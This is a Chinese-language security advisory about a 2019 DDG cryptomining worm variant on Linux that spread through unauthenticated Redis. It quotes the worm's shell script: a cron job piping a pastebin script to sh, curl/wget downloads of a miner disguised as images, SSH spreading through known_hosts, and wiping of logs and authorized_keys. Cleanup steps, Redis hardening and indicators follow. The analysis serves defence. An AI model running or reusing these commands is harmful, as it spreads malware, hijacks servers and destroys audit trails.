【应急类漏洞】Linux下变种DDG挖矿病毒紧急通告及处置方法

病毒事件介绍

2019年2月21日 Linux下DDG变种挖矿病毒在全国范围内大规模爆发,默安科技应急响应中心经过对样本分析发现,该病毒变种通过Redis未授权访问漏洞进行突破植入,然后使用本地密钥登录.ssh/known_hosts文件中的服务器进行横向传播,造成大量服务器负载增高,无法正常提供业务。

病毒执行的恶意脚本通过以下地址进行储存和更新:

https://pastebin.com/raw/sByq0rym

病毒简要分析

恶意病毒特征如下:

恶意文件列表

使用LD_PRELOAD进行劫持

  • /etc/ld.so.preload 
  • /usr/local/lib/libioset.so

恶意二进制文件

  • /tmp/watchdogs
  • /usr/sbin/watchdogs
  • /tmp/ksoftirqds

计划任务脚本

  • /etc/cron.d/tomcat
  • /etc/cron.d/root
  • /var/spool/cron/root
  • /var/spool/cron/crontabs/root
  • /etc/rc.d/init.d/watchdogs

病毒脚本分析如下:

每15分钟从pastebin上下载经过base64编码的该脚本自身并执行:

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
echo "*/15 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh" | crontab -

关闭其他可能存在的挖矿木马:

ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "kworkerds" | awk '{print $2}'|xargs kill -9

通过chattr指令锁定系统权限,关闭资源占用较高的服务:

chattr -i /etc/cron.d/root
chattr -i /etc/cron.d/system
chattr -i /etc/ld.so.preload
chattr -i /etc/cron.d/apache
chattr -i /var/spool/cron/root
chattr -i /var/spool/cron/crontabs/root
chattr -i /usr/local/bin/dns
chattr -i /usr/sbin/netdns
chattr -i /bin/netstat
rm -rf /etc/cron.d/system /etc/cron.d/apache /etc/cron.hourly/oanacron /etc/cron.daily/oanacron /etc/cron.monthly/oanacron /usr/local/lib/libn
tp.so /etc/init.d/netdns /etc/init.d/kworker /bin/httpdns /usr/local/bin/dns /bin/netstat /usr/sbin/netdns
chkconfig --del kworker
chkconfig --del netdns
p=$(ps auxf|grep -v grep|grep ksoftirqds|wc -l)
if [ ${p} -eq 0 ];then
    ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
fi

杀掉一些DDoS进程:

if [ -e "/tmp/gates.lod" ]; then
    rm -rf $(readlink /proc/$(cat /tmp/gates.lod)/exe)
    kill -9 $(cat /tmp/gates.lod)
    rm -rf $(readlink /proc/$(cat /tmp/moni.lod)/exe)
    kill -9 $(cat /tmp/moni.lod)
    rm -rf /tmp/{gates,moni}.lod
fi

根据内核版本下载病毒程序并执行:

if [ ! -f "/tmp/.lsdpid" ]; then
    ARCH=$(uname -m)
    if [ ${ARCH}x = "x86_64x" ]; then
        (curl -fsSL http://thyrsi.com/t6/672/1550667479x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667479x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    elif [ ${ARCH}x = "i686x" ]; then
        (curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    else
        (curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    fi
        nohup /tmp/watchdogs >/dev/null 2>&1 &
elif [ ! -f "/proc/$(cat /tmp/.lsdpid)/stat" ]; then
    ARCH=$(uname -m)
    if [ ${ARCH}x = "x86_64x" ]; then
        (curl -fsSL http://thyrsi.com/t6/672/1550667479x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667479x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    elif [ ${ARCH}x = "i686x" ]; then
        (curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    else
        (curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    fi
        nohup /tmp/watchdogs >/dev/null 2>&1 &
fi

通过读取.ssh目录下known_hosts中的服务器地址,尝试使用密钥登录后横向传播:

if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChec
king=no $h '(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh >/dev/null 2>&1 &' & done
fi
echo 0>/root/.ssh/authorized_keys
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron

默安主机安全防护系统针对该DDG变种病毒分析如下:

该DDG变种病毒行为总结:

1、通过扫描发现存在Redis未授权服务漏洞的服务器进行感染。

2、每15分钟从pastebin上下载经过base64编码的该脚本自身并执行。

3、关闭其他可能存在的挖矿及DDoS木马,通过chattr指令锁定系统权限,关闭资源占用较高的服务。

4、下载伪装成图片的加有UPX壳的门罗币挖矿木马,设置为开机启动并在后台运行。

5、通过读取.ssh目录下known_hosts中的服务器地址,使用密钥登录后下载执行病毒的方式进行横向传播。

6、通过对ifconfig、ls、ps、rm、chkconfig等一系列命令进行so劫持,致使大量系统指令失效命令。劫持后执行这些命令还会该病毒还会调用自身相关代码进行写cron文件进行病毒的保持。

7、通过libioset.so对常见系统函数(如readdir, access函数)进行过滤,隐藏恶意文件及进程,使用ls、ps等命令无法看到和删除恶意进程及相关文件。

该DDG变种病毒行为总结:

1、通过扫描发现存在Redis未授权服务漏洞的服务器进行感染。

2、每15分钟从pastebin上下载经过base64编码的该脚本自身并执行。

3、关闭其他可能存在的挖矿及DDoS木马,通过chattr指令锁定系统权限,关闭资源占用较高的服务。

4、下载伪装成图片的加有UPX壳的门罗币挖矿木马,设置为开机启动并在后台运行。

5、通过读取.ssh目录下known_hosts中的服务器地址,使用密钥登录后下载执行病毒的方式进行横向传播。

6、通过对ifconfig、ls、ps、rm、chkconfig等一系列命令进行so劫持,致使大量系统指令失效命令。劫持后执行这些命令还会该病毒还会调用自身相关代码进行写cron文件进行病毒的保持。

7、通过libioset.so对常见系统函数(如readdir, access函数)进行过滤,隐藏恶意文件及进程,使用ls、ps等命令无法看到和删除恶意进程及相关文件。

病毒处置方法

1)默安科技已针对病毒开发自动化清理脚本,脚本地址:

https://github.com/MoreSecLab/DDG_MalWare_Clean_Tool

2)如无业务必要,修改Redis只监听127.0.0.1,并为Redis设置认证密码。编辑Redis配置文件/etc/redis.conf以下行保存后使用service redis restart重启Redis服务:

  • bind 127.0.0.1    #配置只监听本地回环地址127.0.0.1
  • requirepass xxx   #去掉行前注释,修改密码为所需的密码

3)建议使用默安科技哨兵云对全网服务器进行排查Redis未授权访问漏洞并进行安全加固,从源头上避免感染病毒。

4)紧急情况下,为避免内网大量传播,可以临时对被感染机器先进行断网隔离处理。

5)不影响业务的情况下,建议临时删除机器上.ssh/known_hosts和登录密钥文件。

FAQ

## 为什么无法删除文件和kill进程?

蠕虫通过ld.so.preload使用libioset.so对常见系统函数(如:readdir、access函数)进行过滤,当返回结果中包含恶意文件和进程时,会主动过滤和隐藏相关结果,使用ls、ps等命令无法看到恶意进程文件。

## 如何清理?

上传busybox到/bin/目录下,使用busybox清理文件。

## 为什么busybox可以清理文件?

busybox不依赖于系统的动态库,不受ld.so.preload劫持,能够正常操作文件。

附录IOCs

●域名

  • http://thyrsi.com
  • https://pastebin.com

● ip

  • 47.110.190.245

●矿池地址

  • xmr.f2pool.com

● MD5

  • aee3a19beb22527a1e0feac76344894c
  • 86e2f5859ca276f307a034b5c7c450f1
  • ae356f2499b2228e86bcc4d61f4a29c9
  • d6a146161ec201f9b3f20fbfd528f901
  • a48f529646b8b5e96bab67d6d517a975
  • 04ca88d563b568bac6d1f64faf4d390e

其他

## 如有遇到不能清理情况,可联系我们进行处理。

## 针对该DDG变种的病毒进一步分析还在进行中,请关注默安科技微信公众号,以及时获取病毒的进一步分析结果。

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值